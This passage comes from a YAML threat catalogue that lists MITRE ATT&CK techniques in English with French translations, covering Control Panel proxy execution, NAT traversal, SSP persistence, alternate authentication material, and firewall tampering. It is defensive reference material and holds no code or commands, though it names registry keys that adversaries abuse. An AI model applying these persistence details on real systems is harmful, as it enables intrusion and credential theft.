      Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)


      Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566)
      campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL
      Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo
      Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also
      bypass application and/or file extension allow lists.


      Adversaries may also rename malicious DLL files (.dll) with Control Panel file
      extensions (.cpl) and register them to <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Control
      Panel\Cpls</code>. Even when these registered DLLs do not comply with the CPL
      file specification and do not export <code>CPlApplet</code> functions, they
      are loaded and executed through its <code>DllEntryPoint</code> when Control
      Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly
      executable.(Citation: ESET InvisiMole June 2020)

      https://attack.mitre.org/techniques/T1218/002'
    translations:
      fr:
        name: Panneau de configuration
        description: "Les adversaires peuvent abuser de control.exe pour l\u2019ex\xE9\
          cution par proxy de charges utiles malveillantes. Le processus binaire (control.exe)\
          \ du Panneau de configuration Windows g\xE8re l\u2019ex\xE9cution des \xE9\
          l\xE9ments du Panneau de configuration, qui sont des utilitaires qui permettent\
          \ aux utilisateurs d\u2019afficher et d\u2019ajuster les param\xE8tres de\
          \ l\u2019ordinateur.\n\nLes \xE9l\xE9ments du Panneau de configuration sont\
          \ des fichiers ex\xE9cutables (.exe) ou .cpl enregistr\xE9s du Panneau de\
          \ configuration, ces derniers \xE9tant en fait des fichiers de biblioth\xE8\
          que de liens dynamiques (.dll) renomm\xE9s qui exportent une fonction <code>CPlApplet</code>.\
          \ (Citation : Microsoft impl\xE9mentant CPL)(Citation : TrendMicro CPL Malware\
          \ janvier 2014) Pour faciliter l\u2019utilisation, les \xE9l\xE9ments du\
          \ Panneau de configuration incluent g\xE9n\xE9ralement des menus graphiques\
          \ disponibles pour les utilisateurs apr\xE8s avoir \xE9t\xE9 enregistr\xE9\
          s et charg\xE9s dans le Panneau de configuration. (Citation : Microsoft\
          \ impl\xE9mentant CPL) Les \xE9l\xE9ments du Panneau de configuration peuvent\
          \ \xEAtre ex\xE9cut\xE9s directement \xE0 partir de la ligne de commande,\
          \ par programmation via un appel d\u2019interface de programmation d\u2019\
          application (API) ou en double-cliquant simplement sur le fichier. (Citation\
          \ : Microsoft impl\xE9mentant CPL) (Citation : TrendMicro CPL Malware janvier\
          \ 2014)(Citation : TrendMicro CPL Malware d\xE9cembre 2013)\n\nLes \xE9\
          l\xE9ments malveillants du panneau de configuration peuvent \xEAtre diffus\xE9\
          s via des campagnes [Phishing](https://attack.mitre.org/techniques/T1566)\
          \ (Citation : TrendMicro CPL Malware Jan 2014)(Citation : TrendMicro CPL\
          \ Malware Dec 2013) ou ex\xE9cut\xE9s dans le cadre d\u2019un malware en\
          \ plusieurs \xE9tapes. (Citation : Palo Alto Reaver novembre 2017) Les \xE9\
          l\xE9ments du Panneau de configuration, en particulier les fichiers CPL,\
          \ peuvent \xE9galement contourner les listes d\u2019applications et/ou d\u2019\
          extensions de fichiers autoris\xE9es.\n\nLes adversaires peuvent \xE9galement\
          \ renommer les fichiers DLL malveillants (.dll) avec les extensions de fichier\
          \ du Panneau de configuration (.cpl) et les enregistrer dans <code>HKCU\\\
          Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>.\
          \ M\xEAme lorsque ces DLL enregistr\xE9es ne sont pas conformes \xE0 la\
          \ sp\xE9cification du fichier CPL et n\u2019exportent pas les fonctions\
          \ <code>CPlApplet</code>, elles sont charg\xE9es et ex\xE9cut\xE9es via\
          \ son <code>DllEntryPoint</code> lors de l\u2019ex\xE9cution du Panneau\
          \ de configuration. Les fichiers CPL qui n\u2019exportent pas <code>CPlApplet</code>\
          \ ne sont pas directement ex\xE9cutables. (Citation : ESET InvisiMole, juin\
          \ 2020)\nhttps://attack.mitre.org/techniques/T1218/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1599.001
    ref_id: T1599.001
    name: Network Address Translation Traversal
    description: "Adversaries may bridge network boundaries by modifying a network\
      \ device\u2019s Network Address Translation (NAT) configuration. Malicious modifications\
      \ to NAT may enable an adversary to bypass restrictions on traffic routing that\
      \ otherwise separate trusted and untrusted networks.\n\nNetwork devices such\
      \ as routers and firewalls that connect multiple networks together may implement\
      \ NAT during the process of passing packets between networks. When performing\
      \ NAT, the network device will rewrite the source and/or destination addresses\
      \ of the IP address header. Some network designs require NAT for the packets\
      \ to cross the border device.  A typical example of this is environments where\
      \ internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\
      \nWhen an adversary gains control of a network boundary device, they can either\
      \ leverage existing NAT configurations to send traffic between two separated\
      \ networks, or they can implement NAT configurations of their own design.  In\
      \ the case of network designs that require NAT to function, this enables the\
      \ adversary to overcome inherent routing limitations that would normally prevent\
      \ them from accessing protected systems behind the border device.  In the case\
      \ of network designs that do not require NAT, address translation can be used\
      \ by adversaries to obscure their activities, as changing the addresses of packets\
      \ that traverse a network boundary device can make monitoring data transmissions\
      \ more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001)\
      \ to change the operating system of a network device, implementing their own\
      \ custom NAT mechanisms to further obscure their activities\nhttps://attack.mitre.org/techniques/T1599/001"
    translations:
      fr:
        name: "Travers\xE9e de traduction d\u2019adresses r\xE9seau"
        description: "Les adversaires peuvent franchir les limites du r\xE9seau en\
          \ modifiant la configuration NAT (Network Address Translation) d\u2019un\
          \ p\xE9riph\xE9rique r\xE9seau. Les modifications malveillantes apport\xE9\
          es au NAT peuvent permettre \xE0 un adversaire de contourner les restrictions\
          \ sur le routage du trafic qui s\xE9parent autrement les r\xE9seaux approuv\xE9\
          s et non approuv\xE9s.\n\nLes p\xE9riph\xE9riques r\xE9seau tels que les\
          \ routeurs et les pare-feu qui connectent plusieurs r\xE9seaux peuvent impl\xE9\
          menter NAT pendant le processus de transmission de paquets entre les r\xE9\
          seaux. Lors de l\u2019ex\xE9cution de NAT, le p\xE9riph\xE9rique r\xE9seau\
          \ r\xE9\xE9crit les adresses source et/ou de destination de l\u2019en-t\xEA\
          te de l\u2019adresse IP. Certaines conceptions de r\xE9seau n\xE9cessitent\
          \ un NAT pour que les paquets traversent le p\xE9riph\xE9rique frontalier.\
          \  Un exemple typique de cela est les environnements o\xF9 les r\xE9seaux\
          \ internes utilisent des adresses non routables sur Internet. (R\xE9f\xE9\
          rence : RFC1918)\n\nLorsqu\u2019un adversaire prend le contr\xF4le d\u2019\
          un p\xE9riph\xE9rique de limite de r\xE9seau, il peut soit exploiter les\
          \ configurations NAT existantes pour envoyer le trafic entre deux r\xE9\
          seaux s\xE9par\xE9s, soit mettre en \u0153uvre des configurations NAT de\
          \ sa propre conception.  Dans le cas de conceptions de r\xE9seau qui n\xE9\
          cessitent un NAT pour fonctionner, cela permet \xE0 l\u2019adversaire de\
          \ surmonter les limitations de routage inh\xE9rentes qui l\u2019emp\xEA\
          cheraient normalement d\u2019acc\xE9der aux syst\xE8mes prot\xE9g\xE9s derri\xE8\
          re le p\xE9riph\xE9rique de bordure.  Dans le cas de conceptions de r\xE9\
          seau qui ne n\xE9cessitent pas de NAT, la traduction d\u2019adresses peut\
          \ \xEAtre utilis\xE9e par les adversaires pour masquer leurs activit\xE9\
          s, car la modification des adresses des paquets qui traversent un p\xE9\
          riph\xE9rique de fronti\xE8re r\xE9seau peut rendre la surveillance des\
          \ transmissions de donn\xE9es plus difficile pour les d\xE9fenseurs.  \n\
          \nLes adversaires peuvent utiliser [Patch System Image](https://attack.mitre.org/techniques/T1601/001)\
          \ pour modifier le syst\xE8me d\u2019exploitation d\u2019un p\xE9riph\xE9\
          rique r\xE9seau, en mettant en \u0153uvre leurs propres m\xE9canismes NAT\
          \ personnalis\xE9s afin de masquer davantage leurs activit\xE9s\nhttps://attack.mitre.org/techniques/T1599/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1608.002
    ref_id: T1608.002
    name: Upload Tool
    description: 'Adversaries may upload tools to third-party or adversary controlled
      infrastructure to make it accessible during targeting. Tools can be open or
      closed source, free or commercial. Tools can be used for malicious purposes
      by an adversary, but (unlike malware) were not intended to be used for those
      purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries
      may upload tools to support their operations, such as making a tool available
      to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)
      by placing it on an Internet accessible web server.


      Tools may be placed on infrastructure that was previously purchased/rented by
      the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583))
      or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation:
      Dell TG-3390) Tools can also be staged on web services, such as an adversary
      controlled GitHub repo, or on Platform-as-a-Service offerings that enable users
      to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation:
      Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)


      Adversaries can avoid the need to upload a tool by having compromised victim
      machines download the tool directly from a third-party hosting location (ex:
      a non-adversary controlled GitHub repo), including the original hosting site
      of the tool.

      https://attack.mitre.org/techniques/T1608/002'
    translations:
      fr:
        name: "Outil de t\xE9l\xE9chargement"
        description: "Les adversaires peuvent t\xE9l\xE9charger des outils sur une\
          \ infrastructure tierce ou contr\xF4l\xE9e par l\u2019adversaire pour les\
          \ rendre accessibles pendant le ciblage. Les outils peuvent \xEAtre open\
          \ source ou ferm\xE9s, gratuits ou commerciaux. Les outils peuvent \xEA\
          tre utilis\xE9s \xE0 des fins malveillantes par un adversaire, mais (contrairement\
          \ aux logiciels malveillants) n\u2019ont pas \xE9t\xE9 con\xE7us pour \xEA\
          tre utilis\xE9s \xE0 ces fins (ex : [PsExec](https://attack.mitre.org/software/S0029)).\
          \ Les adversaires peuvent t\xE9l\xE9charger des outils pour soutenir leurs\
          \ op\xE9rations, par exemple en mettant un outil \xE0 la disposition d\u2019\
          un r\xE9seau victime pour permettre le [transfert d\u2019outils d\u2019\
          entr\xE9e](https://attack.mitre.org/techniques/T1105) en le pla\xE7ant sur\
          \ un serveur Web accessible sur Internet.\n\nLes outils peuvent \xEAtre\
          \ plac\xE9s sur une infrastructure qui a d\xE9j\xE0 \xE9t\xE9 achet\xE9\
          e/lou\xE9e par l\u2019adversaire ([Acqu\xE9rir l\u2019infrastructure](https://attack.mitre.org/techniques/T1583))\
          \ ou qui a \xE9t\xE9 compromise par celui-ci ([Compromettre l\u2019infrastructure](https://attack.mitre.org/techniques/T1584)).\
          \ (R\xE9f\xE9rence : Dell TG-3390) Les outils peuvent \xE9galement \xEA\
          tre mis en sc\xE8ne sur des services web, tels qu\u2019un d\xE9p\xF4t GitHub\
          \ contr\xF4l\xE9 par un adversaire, ou sur des offres Platform-as-a-Service\
          \ qui permettent aux utilisateurs de provisionner facilement des applications.\
          \ (Citation : Trou d\u2019eau de Dragos Heroku)(Citation : Malwarebytes\
          \ Heroku Skimmers)(Citation : Intezer App Service Phishing)\n\nLes adversaires\
          \ peuvent \xE9viter d\u2019avoir \xE0 t\xE9l\xE9charger un outil en demandant\
          \ aux machines victimes compromises de t\xE9l\xE9charger l\u2019outil directement\
          \ \xE0 partir d\u2019un emplacement d\u2019h\xE9bergement tiers (par exemple,\
          \ un d\xE9p\xF4t GitHub non contr\xF4l\xE9 par l\u2019adversaire), y compris\
          \ le site d\u2019h\xE9bergement d\u2019origine de l\u2019outil.\nhttps://attack.mitre.org/techniques/T1608/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.005
    ref_id: T1547.005
    name: Security Support Provider
    description: 'Adversaries may abuse security support providers (SSPs) to execute
      DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security
      Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs
      have access to encrypted and plaintext passwords that are stored in Windows,
      such as any logged-on user''s Domain password or smart card PINs.


      The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security
      Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security
      Packages</code>. An adversary may modify these Registry keys to add new SSPs,
      which will be loaded the next time the system boots, or when the AddSecurityPackage
      Windows API function is called.(Citation: Graeber 2014)

      https://attack.mitre.org/techniques/T1547/005'
    translations:
      fr:
        name: "Fournisseur de support de s\xE9curit\xE9"
        description: "Les adversaires peuvent abuser des fournisseurs de support de\
          \ s\xE9curit\xE9 (SSP) pour ex\xE9cuter des DLL au d\xE9marrage du syst\xE8\
          me. Les DLL SSP Windows sont charg\xE9es dans le processus LSA (Local Security\
          \ Authority) au d\xE9marrage du syst\xE8me. Une fois charg\xE9es dans le\
          \ LSA, les DLL SSP ont acc\xE8s aux mots de passe chiffr\xE9s et en texte\
          \ brut qui sont stock\xE9s dans Windows, tels que le mot de passe de domaine\
          \ ou les codes confidentiels de carte \xE0 puce de tout utilisateur connect\xE9\
          .\n\nLa configuration SSP est stock\xE9e dans deux cl\xE9s de registre :\
          \ <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code>\
          \ et <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security\
          \ Packages</code>. Un adversaire peut modifier ces cl\xE9s de registre pour\
          \ ajouter de nouveaux SSP, qui seront charg\xE9s au prochain d\xE9marrage\
          \ du syst\xE8me ou lors de l\u2019appel de la fonction d\u2019API Windows\
          \ AddSecurityPackage. (Citation : Graeber 2014)\nhttps://attack.mitre.org/techniques/T1547/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1550
    ref_id: T1550
    name: Use Alternate Authentication Material
    description: "Adversaries may use alternate authentication material, such as password\
      \ hashes, Kerberos tickets, and application access tokens, in order to move\
      \ laterally within an environment and bypass normal system access controls.\
      \ \n\nAuthentication processes generally require a valid identity (e.g., username)\
      \ along with one or more authentication factors (e.g., password, pin, physical\
      \ smart card, token generator, etc.). Alternate authentication material is legitimately\
      \ generated by systems after a user or application successfully authenticates\
      \ by providing a valid identity and the required authentication factor(s). Alternate\
      \ authentication material may also be generated during the identity creation\
      \ process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate\
      \ authentication material allows the system to verify an identity has successfully\
      \ authenticated without asking the user to reenter authentication factor(s).\
      \ Because the alternate authentication must be maintained by the system\u2014\
      either in memory or on disk\u2014it may be at risk of being stolen through [Credential\
      \ Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate\
      \ authentication material, adversaries are able to bypass system access controls\
      \ and authenticate to systems without knowing the plaintext password or any\
      \ additional authentication factors.\nhttps://attack.mitre.org/techniques/T1550"
    translations:
      fr:
        name: "Utiliser un autre mat\xE9riel d\u2019authentification"
        description: "Les adversaires peuvent utiliser d\u2019autres \xE9l\xE9ments\
          \ d\u2019authentification, tels que des hachages de mot de passe, des tickets\
          \ Kerberos et des jetons d\u2019acc\xE8s aux applications, afin de se d\xE9\
          placer lat\xE9ralement dans un environnement et de contourner les contr\xF4\
          les d\u2019acc\xE8s au syst\xE8me normaux. \n\nLes processus d\u2019authentification\
          \ n\xE9cessitent g\xE9n\xE9ralement une identit\xE9 valide (par exemple,\
          \ un nom d\u2019utilisateur) ainsi qu\u2019un ou plusieurs facteurs d\u2019\
          authentification (par exemple, un mot de passe, un code PIN, une carte \xE0\
          \ puce physique, un g\xE9n\xE9rateur de jetons, etc.). Un autre \xE9l\xE9\
          ment d\u2019authentification est l\xE9gitimement g\xE9n\xE9r\xE9 par les\
          \ syst\xE8mes apr\xE8s qu\u2019un utilisateur ou une application s\u2019\
          est authentifi\xE9 avec succ\xE8s en fournissant une identit\xE9 valide\
          \ et le ou les facteurs d\u2019authentification requis. D\u2019autres \xE9\
          l\xE9ments d\u2019authentification peuvent \xE9galement \xEAtre g\xE9n\xE9\
          r\xE9s au cours du processus de cr\xE9ation de l\u2019identit\xE9. (Citation\
          \ : Authentification NIST)(Citation : NIST MFA)\n\nLa mise en cache d\u2019\
          un autre mat\xE9riel d\u2019authentification permet au syst\xE8me de v\xE9\
          rifier qu\u2019une identit\xE9 a \xE9t\xE9 authentifi\xE9e avec succ\xE8\
          s sans demander \xE0 l\u2019utilisateur de saisir \xE0 nouveau le ou les\
          \ facteurs d\u2019authentification. \xC9tant donn\xE9 que l\u2019authentification\
          \ alternative doit \xEAtre conserv\xE9e par le syst\xE8me, en m\xE9moire\
          \ ou sur disque, elle peut \xEAtre expos\xE9e au risque d\u2019\xEAtre vol\xE9\
          e par le biais des techniques [Credential Access](https://attack.mitre.org/tactics/TA0006).\
          \ En volant d\u2019autres \xE9l\xE9ments d\u2019authentification, les adversaires\
          \ sont en mesure de contourner les contr\xF4les d\u2019acc\xE8s au syst\xE8\
          me et de s\u2019authentifier aupr\xE8s des syst\xE8mes sans conna\xEEtre\
          \ le mot de passe en clair ou tout autre facteur d\u2019authentification.\n\
          https://attack.mitre.org/techniques/T1550"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1597.001
    ref_id: T1597.001
    name: Threat Intel Vendors
    description: 'Adversaries may search private data from threat intelligence vendors
      for information that can be used during targeting. Threat intelligence vendors
      may offer paid feeds or portals that offer more data than what is publicly reported.
      Although sensitive details (such as customer names and other identifiers) may
      be redacted, this information may contain trends regarding breaches such as
      target industries, attribution claims, and successful TTPs/countermeasures.(Citation:
      D3Secutrity CTI Feeds)


      Adversaries may search in private threat intelligence vendor data to gather
      actionable information. Threat actors may seek information/indicators gathered
      about their own campaigns, as well as those conducted by other adversaries that
      may align with their target industries, capabilities/objectives, or other operational
      concerns. Information reported by vendors may also reveal opportunities other
      forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)
      or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

      https://attack.mitre.org/techniques/T1597/001'
    translations:
      fr:
        name: "Fournisseurs d\u2019informations sur les menaces"
        description: "Les adversaires peuvent rechercher des donn\xE9es priv\xE9es\
          \ aupr\xE8s de fournisseurs de renseignements sur les menaces pour trouver\
          \ des informations qui peuvent \xEAtre utilis\xE9es lors du ciblage. Les\
          \ fournisseurs de renseignements sur les menaces peuvent proposer des flux\
          \ payants ou des portails qui offrent plus de donn\xE9es que ce qui est\
          \ publi\xE9 publiquement. Bien que des d\xE9tails sensibles (tels que les\
          \ noms des clients et d\u2019autres identifiants) puissent \xEAtre caviard\xE9\
          s, ces informations peuvent contenir des tendances concernant des violations\
          \ telles que les secteurs cibles, les r\xE9clamations d\u2019attribution\
          \ et les TTP/contre-mesures r\xE9ussies. (Citation : D3Secutrity CTI Feeds)\n\
          \nLes adversaires peuvent effectuer des recherches dans les donn\xE9es priv\xE9\
          es des fournisseurs de renseignements sur les menaces pour recueillir des\
          \ informations exploitables. Les auteurs de menace peuvent chercher \xE0\
          \ obtenir des renseignements ou des indicateurs sur leurs propres campagnes,\
          \ ainsi que sur celles men\xE9es par d\u2019autres adversaires, qui peuvent\
          \ s\u2019aligner sur leurs secteurs cibles, leurs capacit\xE9s et leurs\
          \ objectifs ou sur d\u2019autres pr\xE9occupations op\xE9rationnelles. Les\
          \ informations rapport\xE9es par les fournisseurs peuvent \xE9galement r\xE9\
          v\xE9ler des opportunit\xE9s d\u2019autres formes de reconnaissance (ex\
          \ : [Rechercher des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou d\u2019acc\xE8s initial (ex : [Exploiter une application publique](https://attack.mitre.org/techniques/T1190)\
          \ ou [Externe distant Services](https://attack.mitre.org/techniques/T1133)).\n\
          https://attack.mitre.org/techniques/T1597/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1011
    ref_id: T1011
    name: Exfiltration Over Other Network Medium
    description: 'Adversaries may attempt to exfiltrate data over a different network
      medium than the command and control channel. If the command and control network
      is a wired Internet connection, the exfiltration may occur, for example, over
      a WiFi connection, modem, cellular data connection, Bluetooth, or another radio
      frequency (RF) channel.


      Adversaries may choose to do this if they have sufficient access or proximity,
      and the connection might not be secured or defended as well as the primary Internet-connected
      channel because it is not routed through the same enterprise network.

      https://attack.mitre.org/techniques/T1011'
    translations:
      fr:
        name: "Exfiltration sur un autre support r\xE9seau"
        description: "Les adversaires peuvent tenter d\u2019exfiltrer des donn\xE9\
          es sur un support de r\xE9seau diff\xE9rent de celui du canal de commande\
          \ et de contr\xF4le. Si le r\xE9seau de commande et de contr\xF4le est une\
          \ connexion Internet filaire, l\u2019exfiltration peut se produire, par\
          \ exemple, via une connexion WiFi, un modem, une connexion de donn\xE9es\
          \ cellulaires, Bluetooth ou un autre canal de radiofr\xE9quence (RF).\n\n\
          Les adversaires peuvent choisir de le faire s\u2019ils disposent d\u2019\
          un acc\xE8s ou d\u2019une proximit\xE9 suffisants, et la connexion peut\
          \ ne pas \xEAtre s\xE9curis\xE9e ou d\xE9fendue aussi bien que le canal\
          \ principal connect\xE9 \xE0 Internet, car il n\u2019est pas achemin\xE9\
          \ via le m\xEAme r\xE9seau d\u2019entreprise.\nhttps://attack.mitre.org/techniques/T1011"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1602.002
    ref_id: T1602.002
    name: Network Device Configuration Dump
    description: 'Adversaries may access network configuration files to collect sensitive
      data about the device and the network. The network configuration is a file containing
      parameters that determine the operation of the device. The device typically
      stores an in-memory copy of the configuration while operating, and a separate
      configuration on non-volatile storage to load after device reset. Adversaries
      can inspect the configuration files to reveal information about the target network
      and its layout, the network device and its software, or identifying legitimate
      accounts and credentials for later use.


      Adversaries can use common management tools and protocols, such as Simple Network
      Management Protocol (SNMP) and Smart Install (SMI), to access network configuration
      files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation:
      Cisco Blog Legacy Device Attacks) These tools may be used to query specific
      data from a configuration repository or configure the device to export the configuration
      for later analysis.

      https://attack.mitre.org/techniques/T1602/002'
    translations:
      fr:
        name: "Vidage de la configuration du p\xE9riph\xE9rique r\xE9seau"
        description: "Les adversaires peuvent acc\xE9der aux fichiers de configuration\
          \ r\xE9seau pour collecter des donn\xE9es sensibles sur l\u2019appareil\
          \ et le r\xE9seau. La configuration r\xE9seau est un fichier contenant des\
          \ param\xE8tres qui d\xE9terminent le fonctionnement de l\u2019appareil.\
          \ L\u2019appareil stocke g\xE9n\xE9ralement une copie en m\xE9moire de la\
          \ configuration pendant son fonctionnement, ainsi qu\u2019une configuration\
          \ distincte sur un stockage non volatile \xE0 charger apr\xE8s la r\xE9\
          initialisation de l\u2019appareil. Les adversaires peuvent inspecter les\
          \ fichiers de configuration pour r\xE9v\xE9ler des informations sur le r\xE9\
          seau cible et sa disposition, le p\xE9riph\xE9rique r\xE9seau et ses logiciels,\
          \ ou identifier des comptes l\xE9gitimes et des informations d\u2019identification\
          \ pour une utilisation ult\xE9rieure.\n\nLes adversaires peuvent utiliser\
          \ des outils et des protocoles de gestion courants, tels que SNMP (Simple\
          \ Network Management Protocol) et SMI (Smart Install), pour acc\xE9der aux\
          \ fichiers de configuration r\xE9seau. (R\xE9f\xE9rence : US-CERT TA18-106A\
          \ Network Infrastructure Devices 2018)(Citation : Blog Cisco Legacy Device\
          \ Attacks) Ces outils peuvent \xEAtre utilis\xE9s pour interroger des donn\xE9\
          es sp\xE9cifiques \xE0 partir d\u2019un r\xE9f\xE9rentiel de configuration\
          \ ou configurer l\u2019appareil pour exporter la configuration en vue d\u2019\
          une analyse ult\xE9rieure.\nhttps://attack.mitre.org/techniques/T1602/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1589
    ref_id: T1589
    name: Gather Victim Identity Information
    description: 'Adversaries may gather information about the victim''s identity
      that can be used during targeting. Information about identities may include
      a variety of details, including personal data (ex: employee names, email addresses,
      security question responses, etc.) as well as sensitive details such as credentials
      or multi-factor authentication (MFA) configurations.


      Adversaries may gather this information in various ways, such as direct elicitation
      via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information
      about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595))
      such as probing and analyzing responses from authentication services that may
      reveal valid usernames in a system or permitted MFA /methods associated with
      those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse
      2023) Information about victims may also be exposed to adversaries via online
      or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001)
      or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:
      OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify
      Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation:
      GitHub Gitrob)(Citation: CNET Leaks)


      Gathering this information may reveal opportunities for other forms of reconnaissance
      (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing
      operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)),
      and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)
      or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

      https://attack.mitre.org/techniques/T1589'
    translations:
      fr:
        name: "Recueillir des informations sur l\u2019identit\xE9 de la victime"
        description: "Les adversaires peuvent recueillir des informations sur l\u2019\
          identit\xE9 de la victime qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Les informations sur les identit\xE9s peuvent inclure divers d\xE9tails,\
          \ y compris des donn\xE9es personnelles (par exemple, les noms des employ\xE9\
          s, les adresses e-mail, les r\xE9ponses aux questions de s\xE9curit\xE9\
          , etc.) ainsi que des d\xE9tails sensibles tels que des informations d\u2019\
          identification ou des configurations d\u2019authentification multifacteur\
          \ (MFA).\n\nLes adversaires peuvent recueillir ces informations de diff\xE9\
          rentes mani\xE8res, par exemple par le biais de l\u2019hame\xE7onnage par\
          \ le biais de [Phishing for Information](https://attack.mitre.org/techniques/T1598).\
          \ Les informations sur les utilisateurs peuvent \xE9galement \xEAtre \xE9\
          num\xE9r\xE9es par d\u2019autres moyens actifs (c\u2019est-\xE0-dire [l\u2019\
          analyse active](https://attack.mitre.org/techniques/T1595)), tels que l\u2019\
          exploration et l\u2019analyse des r\xE9ponses des services d\u2019authentification\
          \ qui peuvent r\xE9v\xE9ler des noms d\u2019utilisateur valides dans un\
          \ syst\xE8me ou les m\xE9thodes MFA autoris\xE9es associ\xE9es \xE0 ces\
          \ noms d\u2019utilisateur. (Citation : GrimBlog Nom d\u2019utilisateurEnum)(Citation\
          \ : Abus d\u2019obsidienne SSPR 2023) Les informations sur les victimes\
          \ peuvent \xE9galement \xEAtre expos\xE9es \xE0 des adversaires par le biais\
          \ d\u2019Internet ou d\u2019autres ensembles de donn\xE9es accessibles (ex\
          \ : [M\xE9dias sociaux](https://attack.mitre.org/techniques/T1593/001) ou\
          \ [Rechercher des sites Web appartenant aux victimes](https://attack.mitre.org/techniques/T1594)).\
          \ (Citation : Fuite OPM)(R\xE9f\xE9rence : Registre Deloitte)(Citation :\
          \ Enregistrer Uber)(Citation : Detectify Slack Tokens)(Citation : Forbes\
          \ GitHub Creds)(Citation : GitHub truffleHog)(Citation : GitHub Gitrob)(Citation\
          \ : CNET Leaks)\n\nLa collecte de ces informations peut r\xE9v\xE9ler des\
          \ opportunit\xE9s pour d\u2019autres formes de reconnaissance (ex : [Recherche\
          \ de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Phishing pour obtenir des informations](https://attack.mitre.org/techniques/T1598)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Comptes\
          \ compromis](https://attack.mitre.org/techniques/T1586)), et/ou l\u2019\
          acc\xE8s initial (ex : [Phishing](https://attack.mitre.org/techniques/T1566)\
          \ ou [Comptes valides]( https://attack.mitre.org/techniques/T1078)).\nhttps://attack.mitre.org/techniques/T1589"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.004
    ref_id: T1562.004
    name: Disable or Modify System Firewall
    description: 'Adversaries may disable or modify system firewalls in order to bypass
      controls limiting network usage. Changes could be disabling the entire mechanism
      as well as adding, deleting, or modifying particular rules. This can be done
      numerous ways depending on the operating system, including via command-line,
      editing Windows Registry keys, and Windows Control Panel.


      Modifying or disabling a system firewall may enable adversary C2 communications,
      lateral movement, and/or data exfiltration that would otherwise not be allowed.
      For example, adversaries may add a new firewall rule for a well-known protocol
      (such as RDP) using a non-traditional and potentially less securitized port
      (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation:
      change_rdp_port_conti)


      Adversaries may also modify host networking settings that indirectly manipulate
      system firewalls, such as interface bandwidth or network connection request
      thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse
      of various [Remote Services](https://attack.mitre.org/techniques/T1021) may
      also indirectly modify firewall rules.

      https://attack.mitre.org/techniques/T1562/004'
    translations:
      fr:
        name: "D\xE9sactiver ou modifier le pare-feu du syst\xE8me"
        description: "Les adversaires peuvent d\xE9sactiver ou modifier les pare-feu\
          \ du syst\xE8me afin de contourner les contr\xF4les limitant l\u2019utilisation\
          \ du r\xE9seau. Il peut s\u2019agir de d\xE9sactiver l\u2019ensemble du\
          \ m\xE9canisme ainsi que d\u2019ajouter, de supprimer ou de modifier des\
          \ r\xE8gles particuli\xE8res. Cela peut \xEAtre fait de plusieurs fa\xE7\
